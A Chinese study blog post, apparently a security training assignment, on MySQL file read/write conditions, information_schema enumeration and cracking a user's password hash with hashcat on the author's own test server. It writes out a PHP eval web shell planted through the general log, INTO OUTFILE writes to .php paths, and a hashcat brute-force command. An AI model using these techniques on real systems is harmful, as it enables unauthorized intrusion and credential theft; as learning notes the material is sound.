系统表学习

系统表学习

1、如何利用数据库的功能读写文件,需要什么样的条件才可以读写

2、学习数据库系统表的功能,如何利用 sql 语句查询库名、表名、字段名、内容以及当前用户等基本信息,将学习过程中关键部分整理成报告
扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解
环境:
ubuntu: 18
mysql: 5.7.29
用户:new_user@localhost


mysql数据库读写文件

参考于:

条件

secure_file_priv

该参数用来限制数据导入和导出操作的效果,该值会限制LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数可作用的文件位置(需要file 权限),在MySQL 5.7.6版本引入。

–secure-file-priv=name Limit LOAD DATA, SELECT … OUTFILE, and LOAD_FILE() to files within specified directory

参数值 说明
NULL MySQL服务会禁止导入和导出操作
目录名(默认值为/var/lib/mysql-files/) MySQL服务只允许在这个目录中执行文件的导入和导出操作
空(注意不是NULL) 表示不对读写文件进行限制
mysql> show global variables like "%secure_file_priv%";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.01 sec)

查询语句为

show global variables like "%secure_file_priv%";

查看用户权限

show grants for new_user@localhost;

添加 file权限给new_user

grant file on *.* to 'new_user'@'localhost';
flush privileges;

FILE权限是对所有数据库文件而言的,因此数据库只能写成*.*,而不是某一个数据库

需注意secure_file_priv参数为只读参数,不能用set global 命令修改

mysql> set global secure_file_priv = '' ;
ERROR 1238 (HY000): Variable 'secure_file_priv' is a read only variable

需修改配置文件my.cnfmy.ini,并重启mysql.

secure_file_priv=

读文件需满足条件

  • 操作文件路径满足secure_file_priv条件
  • 当前数据库用户拥有file的权限
  • 文件大小小于max_allowed_packet。load_file()函数受到这个值的限制。
  • 有文件的完整路径

查看方式:

mysql> show global variables like 'max_allowed%';
+--------------------+----------+
| Variable_name      | Value    |
+--------------------+----------+
| max_allowed_packet | 16777216 |
+--------------------+----------+
1 row in set (0.01 sec)

修改方式

set global max_allowed_packet = 5*1024*1024;

写文件需满足的条件

  • 操作文件路径满足secure_file_priv条件
  • 当前数据库用户拥有file的权限
  • 有文件的完整路径

实践

mysql 读取文件的方法

参考:mysql 读取文件的方法

load_file()

先在`/tmp/下添加文件

nano 1.txt
hahaha

运行mysql

mysql> SELECT LOAD_FILE('/tmp/1.txt') AS Result;
+--------+
| Result |
+--------+
| 123
   |
+--------+
1 row in set (0.00 sec)

已经有权限,load_file结果依旧为NULL的解决方案和讨论
这个问题好像在ubuntu有

load data infile()

这个要提前建表

create table user (cmd varchar(100));
mysql>  load data infile '/tmp/1.txt' into table user;
Query OK, 1 row affected (0.00 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 0

详细使用

system cat

参考:
MySQL的system命令在渗透测试中的使用以及UDF提权

在MySQL 5.x中增加了system命令,简单的符号是!,从而使MySQL可以执行系统的命令

mysql> \! whoami
xz
mysql> system cat /tmp/1.txt
123

MySQL中写文件的方法

参考于:Mysql注入中的outfile,dumpfile,load_file

outfile

test.txt无需提前创建。

mysql> select * from user_info into outfile '/tmp/test.txt';
Query OK, 4 rows affected (0.00 sec)
mysql> select  " "  into outfile '/tmp/cmd.php';
Query OK, 1 row affected (0.00 sec)
dumpfile

需要注意的是,dumpfile只能输出一行。

select * from user_info into dumpfile '/tmp/test.txt';
select  " "  into dumpfile '/tmp/cmd.php';

system

 system sudo nano /var/www/html/test/cmd.php

利用日志来实现文件读写

查看权限

mysql> show global variables like "%genera%";
+----------------------------------------+---------------------------+
| Variable_name                          | Value                     |
+----------------------------------------+---------------------------+
| auto_generate_certs                    | ON                        |
| general_log                            | OFF                       |
| general_log_file                       | /var/lib/mysql/ubuntu.log |
| sha256_password_auto_generate_rsa_keys | ON                        |
+----------------------------------------+---------------------------+
4 rows in set (0.01 sec)

默认为OFF

设置打开
mysql> set global general_log='on';
Query OK, 0 rows affected (0.00 sec)

mysql> set global general_log_file='/tmp/shell.php';
Query OK, 0 rows affected (0.00 sec)
select ‘<?php @eval($_POST["cmd"]); ?>’;

之后会写到日志文件中

xz@ubuntu:/tmp$ sudo cat shell.php
/usr/sbin/mysqld, Version: 5.7.29-0ubuntu0.18.04.1 ((Ubuntu)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
2020-03-29T13:27:31.893854Z         8 Query     select ''

如果想把远程数据库的查询结果写到本地主机文件上, 可用:

mysql -h hostname -P portnum -u username -p databsename -e "SELECT ..." > file_name

学习数据库系统表

参考于:
MySQL 数据库系统表的利用,老哥好猛
Mysql5.7中自带四个数据库
[mysql中information_schema说明](https://www.cnblogs.com/lyftest/p/8034470.html)

模式和数据库是一回事吗?来源

当涉及到数据库时,关于模式有很多困惑。 经常会出现一个问题,即架构和数据库之间是否存在差异,如果有差异,会有什么区别。

取决于供应商
造成混乱的部分原因是数据库系统倾向于以自己的方式处理模式。

  • [MySQL文档]()指出,从物理上讲,模式与数据库同义。 因此,模式和数据库是同一件事。
  • 但是,Oracle数据库文档指出某些对象可以存储在数据库中,但不能存储在模式中。 因此,模式和数据库是两个不同的事物。
  • 根据此SQL Server技术文章,架构是数据库内部的一个单独实体。 因此,它们是两件事。

因此,取决于您使用的RDBMS,方案和数据库可能相同也可能不同。

在Mysql5.7中自带四个数据库

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.00 sec)
库名 视图数量 库数量
information_schema 61 0
mysql 0 31
performance_schema 0 87
sys 100 1(sys_config)

information_schema 数据库

information_schema提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有时用于表述该信息的其他术语包括“数据词典”和“系统目录”。换句换说,information_schema是一个信息数据库,它保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。

常用视图

常用的视图为SCHEMATACOLUMNSTABLESuser_privileges

schemata

schemata表提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。该表对应的列说明如下

列名 中文解释 例子
catalog_name
schema_name 数据库名
default_character_set_name 数据库默认编码 utf8
default_collation_name utf8_general_ci
sql_path null

SQL_PATH列的之总为NULL。

mysql> select *   from information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | demo               | latin1                     | latin1_swedish_ci      | NULL     |
| def          | learn_sql          | latin1                     | latin1_swedish_ci      | NULL     |
| def          | mysql              | latin1                     | latin1_swedish_ci      | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | sys                | utf8                       | utf8_general_ci        | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+
6 rows in set (0.00 sec)
tables

tables表提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,show tables from database_name 的结果取之此表。

mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
cloumns

columns表提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname(数据库名).tablename(表名)的结果取之此表。

mysql> desc columns;
+--------------------------+---------------------+------+-----+---------+-------+
| Field                    | Type                | Null | Key | Default | Extra |
+--------------------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG            | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA             | varchar(64)         | NO   |     |         |       |
| TABLE_NAME               | varchar(64)         | NO   |     |         |       |
| COLUMN_NAME              | varchar(64)         | NO   |     |         |       |
| ORDINAL_POSITION         | bigint(21) unsigned | NO   |     | 0       |       |
| COLUMN_DEFAULT           | longtext            | YES  |     | NULL    |       |
| IS_NULLABLE              | varchar(3)          | NO   |     |         |       |
| DATA_TYPE                | varchar(64)         | NO   |     |         |       |
| CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_OCTET_LENGTH   | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_PRECISION        | bigint(21) unsigned | YES  |     | NULL    |       |
| NUMERIC_SCALE            | bigint(21) unsigned | YES  |     | NULL    |       |
| DATETIME_PRECISION       | bigint(21) unsigned | YES  |     | NULL    |       |
| CHARACTER_SET_NAME       | varchar(32)         | YES  |     | NULL    |       |
| COLLATION_NAME           | varchar(32)         | YES  |     | NULL    |       |
| COLUMN_TYPE              | longtext            | NO   |     | NULL    |       |
| COLUMN_KEY               | varchar(3)          | NO   |     |         |       |
| EXTRA                    | varchar(30)         | NO   |     |         |       |
| PRIVILEGES               | varchar(80)         | NO   |     |         |       |
| COLUMN_COMMENT           | varchar(1024)       | NO   |     |         |       |
| GENERATION_EXPRESSION    | longtext            | NO   |     | NULL    |       |
+--------------------------+---------------------+------+-----+---------+-------+
21 rows in set (0.00 sec)
user_privileges表(用户权限表)

user_privileges(用户权限)表给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表

列名 中文解释 例子/说明
grantee 例如“user’@’host”
table_catalog
privilege_type 权限类型 例如:select、drop等
is_grantable 是否授权,即是否拥有“将此权限赋予其他用户”的权限,对应mysql.user表中的grant_priv字段 例如:YES或NO
schema_privileges表(方案/数据库权限表)

schema_privileges(方案权限)表给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表

列名 中文解释 例子/说明
grantee 例“user’@’host”
table_catalog
table_schema 数据库名
privilege_type 权限类型
is_grantable 是否授权 例如:YES或NO

查询

st=>start: Start
op=>operation: 查看数据库名
op1=>operation: 使用某数据库
op2=>operation: 查看表名
op3=>operation: 查看某表的列名或结构
op4=>operation: 执行操作
op5=>operation: 递归回去,依此检测错误
cond=>condition: 结果是否正确
e=>end

st->op->op1->op2->op3->op4->cond
cond(yes)->e
cond(no)->op5->e
# 当前用户名
select user(); 
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
# 获取用户权限
mysql> select * from information_schema.user_privileges where grantee like '%new_user%';
+------------------------+---------------+----------------+--------------+
| GRANTEE                | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+------------------------+---------------+----------------+--------------+
| 'new_user'@'localhost' | def           | FILE           | NO           |
+------------------------+---------------+----------------+--------------+
1 row in set (0.00 sec)

# 查询数据库
show databases; 
select schema_name from  information_schema.schemata;

#通过库名选择数据库
use database_name #也可以直接通过多表查询

#查看当前库里的表格
show tables; 
select table_name from information_schema.tables where table_schema='database_name'

# 通过表名来查询表的结构
desc tablename; 

# 查询某表的所有列
Select column_name from information_schema.columns where table_name='table_name'

#获取列中信息
select *** from *** 

其他三个表

  • MySql

mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。(常用的,在mysql.user表中修改用户的密码)。常用关键字有userhostauthentication_stringpassword

  • performance_schema

主要用于收集数据库服务器性能参数。并且库里表的存储引擎均为PERFORMANCE_SCHEMA,而用户是不能创建存储引擎为PERFORMANCE_SCHEMA的表。MySQL5.7默认是开启的。

  • sys

Sys库所有的数据源来自:performance_schema。目标是把performance_schema的把复杂度降低,让DBA能更好的阅读这个库里的内容。让DBA更快的了解DB的运行情况。


扩展学习-hashcat

要求:

扩展学习:尝试查询出用户的 hash,并使用 hashcat 来对获取的 hash 进行暴力破解

介绍:

hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.

下载安装:

幸运的是,kali2自带hashcat ,但虚拟机跑起来有点问题
GIthub地址:https://github.com/hashcat/hashcat

详细的使用教程:Hashcat使用总结-先知平台

MYSQL password 函数
mysql> select host,user,authentication_string from user where user = "new_user";
+-----------+----------+-------------------------------------------+
| host      | user     | authentication_string                     |
+-----------+----------+-------------------------------------------+
| localhost | new_user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
1 row in set (0.00 sec)
hashcat -a 3 -m 300 --force 2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 ?d?d?d?d?d?d

可能遇到问题:

* Device #1: This device’s constant buffer size is too small.
* Device #1: This device’s local mem size is too small.
No devices found/left.

解决方法:

将处理器改成单处理且单核

后记

补充了数据库读写的相关知识

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇